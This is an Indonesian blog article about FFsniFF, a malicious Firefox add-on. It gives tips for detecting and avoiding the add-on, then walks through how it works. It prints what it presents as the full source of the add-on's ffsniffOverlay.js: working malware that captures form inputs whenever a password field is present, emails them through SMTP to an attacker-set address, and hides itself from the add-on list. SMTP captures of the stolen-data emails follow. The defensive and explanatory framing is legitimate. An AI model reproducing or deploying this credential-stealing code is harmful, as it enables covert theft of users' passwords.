FFsniff diciptakan pada bulan maret 2006, tepat 3 tahun yang lalu sehingga addon ini sudah dikenal luas sebagai salah satu tools hacking. Sekarang bagaimana caranya agar kita tidak menjadi korban addon ini?
Berikut ini tips agar tidak menjadi korban FFsniff:
Jangan sembarangan menginstall addon yang tidak anda kenal. Install addon hanya dari situs resmi Firefox Addon https://addons.mozilla.org/
Install Addon hanya dari situs yang menggunakan https. Penggunaan https ini sangat penting agar anda tidak tersesat mengakses situs palsu yang berusaha memberikan anda addon yang sudah diracuni spyware. Mengenai pentingnya https ini bisa anda baca di artikel: understanding https
firefox safe mode
Bila anda berada di komputer publik, gunakan Firefox dalam Safe Mode (mode aman). Mode ini adalah mode menjalankan firefox dengan mematikan semua addon yang ada.
Walaupun FFsniFF dapat menyembunyikan diri dari daftar addon Firefox, namun tetap saja dia tidak mungkin bisa bersembunyi di file system. Jika anda ragu apakah firefox anda bersih dari FFsniFF, silakan buka folder Profile Mozilla Firefox anda. Biasanya di:
1
C:\Documents and Settings\\Application Data\Mozilla\Firefox\Profiles\\extensions\
firefox extension folder
Kemudian perhatikan file install.rdf, dalam file itu terlihat nama dan deskripsi addon. Atau anda juga bisa melihat folder di dalamnya lagi untuk membaca file dot js dari ffsniff.
How FFsniff Works
Saya telah menunjukkan mulai dari mengunduh, menginstall dan kemudian mendapatkan password ketika ada yang login di firefox yang telah dipasang addon ini. Kini saatnya saya menjelaskan cara kerja FFsniff ini. Inti dari FFsniff ini ada pada file ffsniffOverlay.js. File ini berisi semua code yang melakukan sniffing. Berikut adalah source code lengkap ffsniffOverlay.js.
var transportService = Components.classes["@mozilla.org/network/socket-transport-service;1"].getService(Components.interfaces.nsISocketTransportService); var transport =""; var outstream =""; var instream = Components.classes["@mozilla.org/scriptableinputstream;1"].createInstance(Components.interfaces.nsIScriptableInputStream); var stream =""; // find out FF version var appInfo = Components.classes["@mozilla.org/xre/app-info;1"].getService(Components.interfaces.nsIXULAppInfo); var versionChecker = Components.classes["@mozilla.org/xpcom/version-comparator;1"].getService(Components.interfaces.nsIVersionComparator);
var data =""; var data0 ="EHLO "+ send_from_host +"\r\n" var data1 ="MAIL FROM: <"+ send_from +">\r\n" var data2 ="RCPT TO: <"+ send_to +">\r\n" var data3 ="DATA\r\n" var data4 ="\r\n.\r\n" var data5 ="QUIT\r\n" function send_data(){ transport = transportService.createTransport(null,0, smtp_host, smtp_port,null); outstream = transport.openOutputStream(0,0,0); stream = transport.openInputStream(0,0,0); instream.init(stream);
// this will avoid 'Improper use of SMTP command pipelining' // error on SMTP servers outstream.write(data0, data0.length); while(instream.available()==0){} instream.read(instream.available());
outstream.write(data, data.length); // don't read here cos no data was send to us //while (instream.available() == 0) {} //instream.read(instream.available());
outstream.close(); instream.close(); } if(versionChecker.compare(appInfo.version,"3.0")>=0){ var workingThread =function(){ };
workingThread.prototype={ run:function(){ send_data(); } }; }else{ var runnable ={ run:function(){ send_data(); } } } function sniff(){ // if we are running under 3.0 or later if(versionChecker.compare(appInfo.version,"3.0")>=0){ var thread = Components.classes["@mozilla.org/thread-manager;1"].getService().newThread(0); thread.dispatch(new workingThread(), thread.DISPATCH_NORMAL); }else{ var thread = Components.classes["@mozilla.org/thread;1"].getService(Components.interfaces.nsIThread); thread.init(runnable,512*1024, Components.interfaces.nsIThread.PRIORITY_NORMAL, Components.interfaces.nsIThread.SCOPE_LOCAL, Components.interfaces.nsIThread.STATE_UNJOINABLE); } }
function do_sniff(){ var ok =0; var hesla = window.content.document.getElementsByTagName("input"); data =""; for(var i =0; i < hesla.length; i++){ if(hesla[i].value!=""){ if(hesla[i].type=="password"){ ok =1; } if(hesla[i].name==""){ data += hesla[i].type+":"+":"+ hesla[i].value+"\n"; } else{ data += hesla[i].type+":"+ hesla[i].name+":"+ hesla[i].value+"\n"; } } } if(ok ==1){ data ="Subject: "+ subject +"\r\n\r\n"+ window.top.content.document.location+"\n"+"type:name:value\n"+"---------------\n"+ data; sniff() } } function hide_me(){ var RDFService = Components.classes["@mozilla.org/rdf/rdf-service;1"].getService(Components.interfaces.nsIRDFService); var Container = Components.classes["@mozilla.org/rdf/container;1"].createInstance(Components.interfaces.nsIRDFContainer); var extensionDS = Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).datasource; var root = RDFService.GetResource("urn:mozilla:item:root"); var nameArc = RDFService.GetResource("http://www.mozilla.org/2004/em-rdf#name"); Container.Init(extensionDS, root); var elements = Container.GetElements(); while(elements.hasMoreElements()){ var element = elements.getNext(); varname=""; var target = extensionDS.GetTarget(element, nameArc,true); if(target){ name= target.QueryInterface(Components.interfaces.nsIRDFLiteral).Value; if(name=="FFsniFF"){ Container.RemoveElement(element,true); } } } } if(enable_hide =="yes"){ hide_me(); } window.addEventListener("submit", do_sniff,false);
Perhatikan baris ke-127 pada source di atas, bila enable_hide diset “yes”, maka ffsniff akan menjalankan fungsi hide_me(). hide_me() bertugas menghilangkan FFsniff dari daftar addon agar kehadirannya tidak disadari pengguna. Cara menyembunyikan diri adalah dengan cara menjalankan fungsi Container.RemoveElement (baris ke-122) hanya bila element itu bernama “FFsniFF”.
how ffsniff works
Fungsi sniffing sesungguhnya ada pada baris terakhir. Pada baris terakhir, terdapat fungsi addEventListener(). Fungsi ini berguna untuk mengaitkan event submit dengan fungsi do_sniff. Artinya fungsi do_sniff akan dijalankan setiap kali terjadi event submit. Event submit akan terjadi bila ada request POST di browser, antara lain dengan melalui klik tombol bertipe submit (input type=”submit”). Namun tidak hanya melalui klik saja, submit bisa juga dilakukan oleh javascript. Dengan cara apapun, bila terjadi request POST di browser, event submit akan terjadi, dan artinya fungsi do_sniff juga akan dipanggil. Untuk lebih jelasnya perhatikan gambar di atas.
Kini fokus perhatian kita pindah ke fungsi do_sniff (baris ke-84). Dalam fungsi sniff, ffsniffer mengambil daftar semua tag yang ada dengan fungsi window.content.document.getElementsByTagName(“input”). Kemudian semua field tersebut akan digabung dalam variabel string data. Hanya bila dalam form tersebut terdapat password field (input type=”password”), maka ffsniffer akan mengirimkan email, bila hanya form biasa (bukan form login), ffsniffer tidak akan mengirim email.
Bila mengandung password field, berikutnya fungsi sniff (baris ke-73) akan dijalankan. Fungsi sniff ini tugasnya hanya membuat dan menjalankan thread. Thread tersebut bertugas melakukan pengiriman email dengan memanggil fungsi send_data (baris ke-17). Fungsi send_data akan membuka koneksi tcp ke smtp server, kemudian mengirimkan perintah smtp untuk mengirim email. Dengan menggunakan sniffer Wireshark, berikut adalah komunikasi yang terjadi ketika email dikirim ke telkom.net:
220-mx1.mail.plasa.com ESMTP
220 UBE, porn, and abusive content not allowed
EHLO telkom.net
250-mx1.mail.plasa.com
250-8BITMIME
250 SIZE 20971520
MAIL FROM: 250 sender ok
RCPT TO: 250 recipient ok
DATA
354 go ahead
Subject: Log Firefox Sniffer
Sedangkan komunikasi yang terjadi ketika email dikirim ke @ilmuhacking.com adalah:
220-gator669.hostgator.com ESMTP Exim 4.69 #1 Tue, 03 Mar 2009 22:15:33 -0600
220-We do not authorize the use of this system to transport unsolicited,
220 and/or bulk e-mail.
EHLO ilmuhacking.com
250-gator669.hostgator.com Hello ilmuhacking.com [202.43.xxx.xxx]
250-SIZE 52428800
250-PIPELINING
250-AUTH PLAIN LOGIN
250-STARTTLS
250 HELP
MAIL FROM: 250 OK
RCPT TO: 250 Accepted
DATA
354 Enter message, ending with "." on a line by itself
Subject: Log Firefox Sniffer
Dengan selesainya eksekusi send_data() maka ffsniff telah selesai menjalankan tugasnya mengirim email. Selanjutnya ffsniff akan “tidur” menunggu dipanggil oleh event submit dan mulai kembali proses penyadapan password